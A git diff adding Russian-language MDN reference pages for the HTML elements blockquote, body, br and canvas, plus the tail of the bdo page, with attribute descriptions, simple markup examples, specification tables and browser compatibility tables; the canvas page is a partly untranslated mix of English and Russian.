+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-bdo-element', '&lt;bdo&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-bdo-element', '&lt;bdo&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'dirlang.html#h-8.2.4', '&lt;bdo&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("html.elements.bdo")}}</p>
diff --git a/files/ru/web/html/element/blockquote/index.html b/files/ru/web/html/element/blockquote/index.html
new file mode 100644
index 0000000000..5bee0521f5
--- /dev/null
+++ b/files/ru/web/html/element/blockquote/index.html
@@ -0,0 +1,157 @@
+---
+title: <blockquote>
+slug: Web/HTML/Element/blockquote
+translation_of: Web/HTML/Element/blockquote
+---
+<h2 id="Описание">Описание</h2>
+
+<p><strong>HTML-элемент <code>&lt;blockquote&gt;</code> </strong>(от англ. <em>Block Quotation</em>) указывает на то, что заключенный в нем текст является развернутой цитатой. Обычно он (текст) визуально выделяется наклонным (смотри <a href="/en-US/docs/HTML/Element/blockquote#Notes" title="HTML/Element/blockquote#Notes">Примечание</a>, где говорится о том, как это изменить). URI на источник цитаты можно указать в атрибуте <strong>cite</strong>, тогда как текстовое представление источника может быть задано элементом {{HTMLElement("cite")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/blockquote.html","tabbed-standard")}}</div>
+
+<p class="hidden">Исходный код этого интерактивного примера находится в GitHub репозитории. Если вы хотите внести свой вклад в проект интерактивных примеров, пожалуйста, склонируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> и отправьте нам запрос.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ru/docs/Web/Guide/HTML/Content_categories" title="HTML/Content_categories">Категории контента</a></th>
+   <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_контент" title="HTML/Content categories#Flow content">Основной контент</a>, секционный корень, явный контент.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённый контент</th>
+   <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_контент" title="HTML/Content categories#Flow content">Основной контент</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Опускание тегов</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённые родительские элеметны</th>
+   <td>Любой элемент, который принимает <a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_контент" title="HTML/Content categories#Flow content">основной контент</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённые ARIA роли</th>
+   <td>Любые</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM интерфейс</th>
+   <td>{{domxref("HTMLQuoteElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Для данного элемента доступны<span style="line-height: 21px;"> </span><a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">глобальные атрибуты</a><span style="line-height: 21px;">.</span></p>
+
+<dl>
+ <dt>{{htmlattrdef("cite")}}</dt>
+ <dd>URL, указывающий на исходный документ или  сообщение, откуда была взята цитата. Этот атрибут предназначен для того, чтобы сослаться на информацию, объясняющую контекст, или ссылки, из которых была взята цитата.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: html">&lt;blockquote cite="http://developer.mozilla.org"&gt;
+  &lt;p&gt;This is a quotation taken from the Mozilla Developer Center.&lt;/p&gt;
+&lt;/blockquote&gt;
+</pre>
+
+<p>Результат:</p>
+
+<blockquote cite="http://developer.mozilla.org">
+<p>This is a quotation taken from the Mozilla Developer Center.</p>
+</blockquote>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-blockquote-element', '&lt;blockquote&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-blockquote-element', '&lt;blockquote&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.2.2', '&lt;blockquote&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Примечание">Примечание</h2>
+
+<p>Чтобы изменить отступ элемента <code>&lt;blockquote&gt;</code>, используйте <a href="/en-US/docs/CSS" title="CSS">CSS</a>-свойство {{cssxref("margin")}}.</p>
+
+<p>Для коротких цитат используйте<code> элемент </code>{{HTMLElement("q")}}.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Элемент {{HTMLElement("q")}}  для встроенных (строковых) цитат.</li>
+ <li>Элемент {{HTMLElement("cite")}} для указания источника.</li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/ru/web/html/element/body/index.html b/files/ru/web/html/element/body/index.html
new file mode 100644
index 0000000000..8c2cacdfe0
--- /dev/null
+++ b/files/ru/web/html/element/body/index.html
@@ -0,0 +1,169 @@
+---
+title: <body>
+slug: Web/HTML/Element/body
+tags:
+  - Element
+  - HTML
+  - Web
+  - Веб
+  - Корневой элемент
+  - Разделы
+  - Секционирование
+  - Справка
+  - Элемент
+translation_of: Web/HTML/Element/body
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML-элемент <code>&lt;body&gt;</code></strong> представляет собой контент (содержимое) документа HTML. В документе может быть только один элемент <code>&lt;body&gt;</code>.</span></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ru/docs/Web/Guide/HTML/Content_categories">Категории контента</a></th>
+   <td><a href="/ru/docs/Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document#Корни_задания_разделов">Секционный корень</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенное содержимое</th>
+   <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Потоковый_контент">Потоковый контент</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Пропуск тега</th>
+   <td>Открывающий тег может быть пропущен, если первое, что находится внутри него, не является пробелом, комментарием, элементом {{HTMLElement("script")}} или элементом {{HTMLElement("style")}}. Закрывающий тег может быть пропущен если элемент <code>&lt;body&gt;</code> содержит контент или имеет открывающий тег, и за ним сразу не следует комментарий.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные родительские элементы</th>
+   <td>Этот элемент должен быть вторым в элементе {{HTMLElement("html")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные роли ARIA</th>
+   <td>Отсутствуют</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM-интерфейс</th>
+   <td>{{domxref("HTMLBodyElement")}}
+    <ul>
+     <li>Элемент <code>&lt;body&gt;</code> представляет интерфейс {{domxref("HTMLBodyElement")}}.</li>
+     <li>Вы можете получить доступ к элементу <code>&lt;body&gt;</code> через свойство {{domxref("document.body")}}.</li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>К этому элементу применимы <a href="/ru/docs/Web/HTML/Общие_атрибуты">глобальные атрибуты</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("alink")}} {{obsolete_inline}}</dt>
+ <dd>Цвет текста гиперссылок, когда они выделены. <em>Этот метод не согласован, вместо него используйте CSS-свойство {{cssxref("color")}} вместе с псевдоклассом {{cssxref(":active")}}.</em></dd>
+ <dt>{{htmlattrdef("background")}} {{obsolete_inline}}</dt>
+ <dd>URI изображения для использования в качестве фона. <em>Этот метод не согласован, вместо него используйте CSS-свойство {{cssxref("background")}}.</em></dd>
+ <dt>{{htmlattrdef("bgcolor")}} {{obsolete_inline}}</dt>
+ <dd>Цвет фона документа. <em>Этот метод не согласован, вместо него используйте CSS-свойство {{cssxref("background-color")}}.</em></dd>
+ <dt>{{htmlattrdef("bottommargin")}} {{obsolete_inline}}</dt>
+ <dd>Отступ от нижнего края элемента <code>&lt;body&gt;</code>. <em>Этот метод не согласован, вместо него используйте CSS-свойство {{cssxref("margin-bottom")}}.</em></dd>
+ <dt>{{htmlattrdef("leftmargin")}} {{obsolete_inline}}</dt>
+ <dd>Отступ от левого края элемента <code>&lt;body&gt;</code>. <em>Этот метод не согласован, вместо него используйте CSS-свойство {{cssxref("margin-left")}}.</em></dd>
+ <dt>{{htmlattrdef("link")}} {{obsolete_inline}}</dt>
+ <dd>Цвет текста непосещенных гипертекстовых ссылок. <em>Этот метод не согласован, вместо него используйте CSS-свойство {{cssxref("color")}} вместе с псевдоклассом {{cssxref(":link")}}.</em></dd>
+ <dt>{{htmlattrdef("onafterprint")}}</dt>
+ <dd>Функция для вызова после того, как пользователь распечатал документ.</dd>
+ <dt>{{htmlattrdef("onbeforeprint")}}</dt>
+ <dd>Функция для вызова, когда пользователь отправляет документ на печать.</dd>
+ <dt>{{htmlattrdef("onbeforeunload")}}</dt>
+ <dd>Функция для вызова перед закрытием окна документа или переходом на другую, внешнюю, страницу в этой же вкладке.</dd>
+ <dt>{{htmlattrdef("onblur")}}</dt>
+ <dd>Функция для вызова при потери документом фокуса.</dd>
+ <dt>{{htmlattrdef("onerror")}}</dt>
+ <dd>Функция для вызова, когда документ не загружается должным образом.</dd>
+ <dt>{{htmlattrdef("onfocus")}}</dt>
+ <dd>Функция для вызова, когда документ получает фокус.</dd>
+ <dt>{{htmlattrdef("onhashchange")}}</dt>
+ <dd>Функция для вызова, когда изменяется часть идентификатора фрагмента (начинается с символа <code>'#'</code>) текущего адреса документа.</dd>
+ <dt>{{htmlattrdef("onlanguagechange")}} {{experimental_inline}}</dt>
+ <dd>Функция для вызова при изменении предпочитаемых языков.</dd>
+ <dt>{{htmlattrdef("onload")}}</dt>
+ <dd>Функция для вызова, когда документ закончил загрузку (страницы загружена).</dd>
+ <dt>{{htmlattrdef("onmessage")}}</dt>
+ <dd>Функция для вызова, когда документ получил сообщение.</dd>
+ <dt>{{htmlattrdef("onoffline")}}</dt>
+ <dd>Функция для вызова, когда происходит сбой сетевого соединения.</dd>
+ <dt>{{htmlattrdef("ononline")}}</dt>
+ <dd>Функция для вызова, когда произошло восстановление сетевого соединения.</dd>
+ <dt>{{htmlattrdef("onpopstate")}}</dt>
+ <dd>Функция для вызова, когда пользователь осуществил управление историей сеанса.</dd>
+ <dt>{{htmlattrdef("onredo")}}</dt>
+ <dd>Функция для вызова, когда произошло продвижение пользователя вперед по истории транзакций (например, обновление страницы).</dd>
+ <dt>{{htmlattrdef("onresize")}}</dt>
+ <dd>Функция для вызова, когда размер документа был изменен.</dd>
+ <dt>{{htmlattrdef("onstorage")}}</dt>
+ <dd>Функция для вызова, когда изменяется содержимое хранилища (<a href="/ru/docs/Web/API/Web_Storage_API">Web Storage</a>).</dd>
+ <dt>{{htmlattrdef("onundo")}}</dt>
+ <dd>Функция для вызова, когда произошло продвижение пользователя назад по истории транзакций (например, переход на предыдущую страницу в активной вкладке).</dd>
+ <dt>{{htmlattrdef("onunload")}}</dt>
+ <dd>Функция для вызова, когда пользователь покидает страницу (закрытие вкладки или окна браузера).</dd>
+ <dt>{{htmlattrdef("rightmargin")}} {{obsolete_inline}}</dt>
+ <dd>Отступ от правого края элемента <code>&lt;body&gt;</code>. <em>Этот метод не согласован, вместо него используйте CSS-свойство {{cssxref("margin-right")}}.</em></dd>
+ <dt>{{htmlattrdef("text")}} {{obsolete_inline}}</dt>
+ <dd>Основной цвет текста. <em>Этот метод не согласован, вместо него используйте CSS-свойство {{cssxref("color")}}.</em></dd>
+ <dt>{{htmlattrdef("topmargin")}} {{obsolete_inline}}</dt>
+ <dd>Отступ от верхнего края элемента <code>&lt;body&gt;</code>. <em>Этот метод не согласован, вместо него используйте CSS-свойство {{cssxref("margin-top")}}.</em></dd>
+ <dt>{{htmlattrdef("vlink")}} {{obsolete_inline}}</dt>
+ <dd>Цвет текста посещенной гипертекстовой ссылки. <em>Этот метод не согласован, вместо него используйте CSS-свойство {{cssxref("color")}} вместе с псевдоклассом {{cssxref(":visited")}}.</em></dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: html">&lt;html&gt;
+  &lt;head&gt;
+    &lt;title&gt;Заголовок документа&lt;/title&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;p&gt;Это параграф&lt;/p&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-body-element', '&lt;body&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Изменен список несогласованных свойств.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sections.html#the-body-element', '&lt;body&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Ранее устаревшие атрибуты больше не поддерживаются. Определено поведение несогласованных и не стандартизированных атрибутов <code>topmargin</code>, <code>leftmargin</code>, <code>rightmargin</code> и <code>bottommargin</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.5.1', '&lt;body&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Устаревшие атрибуты <code>alink</code>, <code>background</code>, <code>bgcolor</code>, <code>link</code>, <code>text</code> и <code>vlink</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, пожалуйста проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам "pull request" (предложение изменения кода в чужом репозитории).</div>
+
+<p>{{Compat("html.elements.body")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTMLElement("html")}}</li>
+ <li>{{HTMLElement("head")}}</li>
+</ul>
diff --git a/files/ru/web/html/element/br/index.html b/files/ru/web/html/element/br/index.html
new file mode 100644
index 0000000000..555d249c61
--- /dev/null
+++ b/files/ru/web/html/element/br/index.html
@@ -0,0 +1,111 @@
+---
+title: <br>
+slug: Web/HTML/Element/br
+tags:
+  - HTML
+  - Элемент
+translation_of: Web/HTML/Element/br
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML-элемент <code>&lt;br&gt;</code></strong> устанавливает перевод строки в тексте (возврат каретки). Он полезен при написании поэмы или адреса, где важно деление на строки.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/br.html", "tabbed-standard")}}</div>
+
+<div class="hidden">
+<p>The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a>and send us a pull request.</p>
+</div>
+
+<p>Как мы видим из примера выше, элемент <code>&lt;br&gt;</code> поставлен в том месте, где мы хотим перенести строку. Текст после <code>&lt;br&gt;</code> начинается со следующей строки текстового блока.</p>
+
+<div class="blockIndicator note">
+<p><strong>Примечание:</strong> Не используйте <strong><code>&lt;br&gt;</code></strong> для увеличения разрыва между строками в тексте; используйте <a href="/ru/docs/Web/CSS" title="CSS">CSS</a>-свойство {{cssxref('margin')}} элемента {{HTMLElement("p")}}.</p>
+</div>
+
+<h2 id="Attributes" name="Attributes">Атрибуты</h2>
+
+<p><span style="line-height: 21px;">Этот элемент включает в себя </span><a href="ru/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">глобальные атрибуты</a><span style="line-height: 21px;">.</span></p>
+
+<dl>
+ <dt>
+ <h3 id="Устаревшие_атрибуты">Устаревшие атрибуты</h3>
+ </dt>
+ <dt>{{htmlattrdef("clear")}}</dt>
+ <dd>Определяет, где начинается следующая строка после перевода строки.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Стилизация с CSS</h2>
+
+<p>Элемент <code>&lt;br&gt;</code> имеет единственную цель – создать разрыв линии в блоке текста. Таким образом, он не имеет размеров или визуального стиля как такового. Есть всего несколько свойств, которые вы можете стилизовать.</p>
+
+<p>Вы можете установить значение {{cssxref("margin")}} на <code>&lt;br&gt;</code> чтобы увеличть расстояние между линиями в блоке, но это плохая практика – лучше использовать свойство {{cssxref("line-height")}} для этой цели.</p>
+
+<h2 id="Example" name="Example">Примеры</h2>
+
+<h3 id="Простой_br">Простой br</h3>
+
+<p>В следующем примере мы используем элемент <code>&lt;br&gt;</code> для разрыва линий в почтовом адресе:</p>
+
+<pre class="brush: html">Mozilla&lt;br&gt;
+331 E. Evelyn Avenue&lt;br&gt;
+Mountain View, CA&lt;br&gt;
+94041&lt;br&gt;
+USA&lt;br&gt;</pre>
+
+<p>Результат будет выглядеть так:</p>
+
+<p>{{ EmbedLiveSample('Простой_br', '100%', '90') }}</p>
+
+<h2 id="Проблемы_доступности">Проблемы доступности</h2>
+
+<p>Разделять абзацы в тексте, используя <code>&lt;br&gt;</code> не только плохая практика, но и проблема для людей, которые используют программы чтения с экрана. Программы чтения могут сообщать о наличии элемента, но не содержимом в <code>&lt;br&gt;</code>. Это может привести к путанице и разочарованию для человека, использующего программу чтения с экрана.</p>
+
+<h2 id="Техническая_сводка">Техническая сводка</h2>
+
+<ul class="htmlelt">
+ <li><dfn><a href="/ru/docs/Web/Guide/HTML/Content_categories">Категории контента</a></dfn> <a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Основной поток</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">текстовый контент</a>.</li>
+ <li><dfn>Разрешенное содержимое</dfn> Отсутствует, это {{Glossary("пустой элемент")}}.</li>
+ <li><dfn>Пропуск тегов</dfn>Должен иметь открывающий тег, но не закрывающий тег. В XHTML документах элемент пишется как <code>&lt;br /&gt;</code>.</li>
+ <li><dfn>Допустимые родительские элементы</dfn> Любой элемент, который поддерживает <a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content" title="HTML/Content_categories#Phrasing_content">текстовый контент</a>.</li>
+ <li><dfn>Интерфейс DOM</dfn> {{domxref("HTMLBRElement")}}</li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-br-element', '&lt;br&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-br-element', '&lt;br&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.3.2.1', '&lt;br&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{Compat("html.elements.br")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>Элемент {{HTMLElement("address")}}</li>
+ <li>Элемент {{HTMLElement("p")}}</li>
+</ul>
diff --git a/files/ru/web/html/element/canvas/index.html b/files/ru/web/html/element/canvas/index.html
new file mode 100644
index 0000000000..b138e2b3a7
--- /dev/null
+++ b/files/ru/web/html/element/canvas/index.html
@@ -0,0 +1,183 @@
+---
+title: <canvas>
+slug: Web/HTML/Element/canvas
+translation_of: Web/HTML/Element/canvas
+---
+<p><strong>HTML <code>&lt;canvas&gt;</code> Элемент </strong>может быть использован для отрисовки графики через скрипты (обычно используется <a href="/en-US/docs/Web/JavaScript">JavaScript</a>). Например, его можно использовать для отрисовки графиков, делать композиции фото или даже выполнять анимации. Вы можете (и должны) дать альтернативное содержание внутри блока <code>&lt;canvas&gt;</code>. Этот контент будет рендерится в обоих браузерах, в старых которые не поддерживают canvas и в браузерах с отключённым JavaScript.</p>
+
+<p>Больше статей о canvas <a href="/en-US/docs/Web/API/Canvas_API">canvas topic page</a>.</p>
+
+<table class="properties" style="height: 537px; width: 437px;">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/HTML/Content_categories">Content categories</a></th>
+   <td><a href="/en-US/docs/HTML/Content_categories#Flow_content">Flow content</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">phrasing content</a>, <a href="https://developer.mozilla.org/en-US/docs/HTML/Content_categories#Embedded_content">embedded content</a>, palpable content.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted content</th>
+   <td>Transparent но без <a href="/en-US/docs/HTML/Content_categories#Interactive_content">interactive content</a> descendants except(соглашаться?) для {{HTMLElement("a")}} елементы, {{HTMLElement("button")}} елементы, {{HTMLElement("input")}} елементы как {{htmlattrxref("type", "input")}} атрибут is <code>checkbox</code>, <code>radio</code>, или <code>button</code>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Tag omission</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted parent elements</th>
+   <td>Any element that accepts <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">phrasing_content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM interface</th>
+   <td>{{domxref("HTMLCanvasElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Этот элемент включает <a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes">global attributes</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("height")}}</dt>
+ <dd>Высота в координантном пространстве в CSS пикселях. По умолчанию 150.</dd>
+ <dt>{{htmlattrdef("moz-opaque")}} {{non-standard_inline}}</dt>
+ <dd>Дай холсту знать будет ли фактором или нет полупрозрачность. Если холст знает что нет полупрозрачности, производительность рисования может быть оптимизирована.</dd>
+ <dt>{{htmlattrdef("width")}}</dt>
+ <dd>Ширина в координантном пространстве в CSS пикселях. По умолчанию 300.</dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<h3 id="Обязательно_&lt;canvas>_тег">Обязательно <code>&lt;/canvas&gt;</code> тег</h3>
+
+<p>В отличии от {{HTMLElement("img")}} элемента, {{HTMLElement("canvas")}} элемент <strong>требует </strong>закрытия тега (<code>&lt;/canvas&gt;</code>).</p>
+
+<h3 id="Определение_размеров_холста">Определение размеров холста</h3>
+
+<p>Отображаемый размер холста может быть изменён используя stylesheet. Изображение масштабируется при рендеринге, чтобы соответствовать стилю размер. Если ваш рендеринг кажется искажённым, попытайтесь указать ваши атрибуты ширины и высоты точно в атрибутах <code>&lt;canvas&gt;</code>, и не используя CSS.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="300" height="300"&gt;
+  Извините, ваш браузер нет поддерживает&amp;lt;canvas&amp;gt; элемент.
+&lt;/canvas&gt;
+</pre>
+
+<p>Если ваш холст не использует transparency, установите <code>moz-opaque</code> атрибут на canvas теге. Это информация может быть использована для оптимизации рендеринга. Однако, этот атрибут не был стандартизирован и работает только в браузерах основанных на движках рендеринга Mozilla .</p>
+
+<pre class="brush: html notranslate">&lt;canvas id="mycanvas" moz-opaque&gt;&lt;/canvas&gt;</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'the-canvas-element.html#the-canvas-element', '&lt;canvas&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'the-canvas-element.html#the-canvas-element', '&lt;canvas&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.8")}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop("6.0")}}<sup>[2]</sup><br>
+    {{CompatGeckoDesktop("12.0")}}<sup>[3]</sup></td>
+   <td>9.0</td>
+   <td>9.0<sup>[4]</sup></td>
+   <td>2.0<sup>[5]</sup></td>
+  </tr>
+  <tr>
+   <td><code>moz-opaque</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatGeckoDesktop("1.8")}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop("6.0")}}<sup>[2]</sup><br>
+    {{CompatGeckoDesktop("12.0")}}<sup>[3]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td><code>moz-opaque</code></td>
+   <td>{{CompatGeckoMobile("1.9.1")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Before Gecko 5.0 {{geckoRelease("5.0")}}, the canvas ширина и высота were signed integers instead of unsigned integers.</p>
+
+<p>[2] Prior to Gecko 6.0 {{geckoRelease("6.0")}}, a {{HTMLElement("canvas")}} element with a zero width or height would be rendered as if it had default dimensions.</p>
+
+<p>[3] Before Gecko 12.0 {{geckoRelease("12.0")}}, если JavaScript is disabled, the <code>&lt;canvas&gt;</code> element was being rendered instead of showing the fallback content as per the <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-canvas-element.html">specification</a>. Сейчас the fallback контент is rendered instead.</p>
+
+<p>[4] See the <a href="http://www.opera.com/docs/changelogs/windows/900/">changelog for Opera 9.0</a>.</p>
+
+<p>[5] Although early versions of Apple's Safari browser don't require the closing tag, the specification indicates that it is required, so you should be sure to include it for broadest compatibility. Those versions of Safari (prior to version 2.0) will render the content of the fallback in addition to the canvas itself unless you use CSS tricks to mask it. Fortunately, users of these versions of Safari are rare nowadays.</p>
+
